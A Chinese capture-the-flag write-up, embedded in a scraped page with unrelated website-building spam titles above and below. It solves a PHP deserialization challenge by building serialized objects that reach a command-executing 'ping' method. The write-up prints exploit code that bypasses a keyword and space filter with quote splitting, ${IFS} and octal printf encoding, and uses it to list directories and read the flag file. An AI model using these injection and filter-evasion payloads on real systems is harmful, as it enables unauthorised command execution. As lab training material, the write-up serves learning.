当前位置: 首页 > news >正文

德清县建设局网站低代码无代码平台

德清县建设局网站,低代码无代码平台,学广告设计好就业吗,自己网站怎么做外链开启场景 整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat f…

开启场景

整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

  1. 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
  2. 再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。
  3. 接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
  4. 综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

查看目录文件

写一段序列化代码对 ls 命令序列化之后再 base64 编码

<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

使用 php在线编译工具编译之后得到了一串 base64 编码

在场景页面打开 F12 使用 hackbar 插件发送post 请求,

发现了有一个flag_1s_here文件夹

查看flag_1s_here文件夹

再用序列化代码重复上述操作

<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>

再编译得到了 base64 编码

再发送 post 请求

发现了一个flag_831b69012c67b35f.php 文件

查看flag_831b69012c67b35f.php

flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf$()绕过。

<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

再编译

再发送 post 请求

或者直接对整个要执行的命令用printf及$()绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以

<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

最终二者都发现了 flag

cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}
http://www.yayakq.cn/news/577292/

相关文章:

  • 广西南宁网站策划开发公司组织员工办按揭
  • 虹口免费网站制作软件开发工程师考试
  • 区块链网站开发资金全媒体运营师证书怎么考
  • 怎么建设一个购买卡密的网站优化网络软件
  • 揭阳网站制作企业app开发工具排行
  • 超市网站源码深圳有几个区 分别叫什么
  • 俄罗斯免费网站推广网站菜单模板
  • 网站建设费可以抵扣吗wordpress代码上传
  • 临桂县住房和城乡建设局网站网站标题怎么修改
  • 做装修网站价格软件工程学科评估排名
  • 网站建设沟通准备培训学校网站建设方案
  • 做网页的素材网站杭州专业做网站
  • 之路网站建设it在线学习网站开发
  • 自己怎么做返利网站上海网站建设百度推广公司
  • 盘锦网站建设多少钱电商创业需要多少资金
  • 企业网站建设一般包含哪些内容做网站的工作是什么
  • 任丘做网站价格攀枝花网站怎么做seo
  • 做买鞋网站的论文内丘附近网站建设价格
  • 做网站推广 优帮云网站备案 途径
  • 设计师关注的十大网站运营好的网站制作中心
  • 模板网站免费建站京东网站开发多少钱
  • 游戏网站平台怎么做的一线视频免费观看
  • 设计网站怎么设计陕西省城乡建设厅的网站
  • 做企业网站项目的心得网站建设86215
  • 高校网站建设情况报告范文钢结构工程外包项目网
  • 企业信息化建设如何帮助客户理解网站流量易居房产网下载
  • 有哪些免费网站可以做店招赣州网站制作公司
  • 网站服务器申请wordpress英文版登陆
  • 南安淘宝网站建设学校网站建设源码
  • 电商网站开发设计net网站开发环境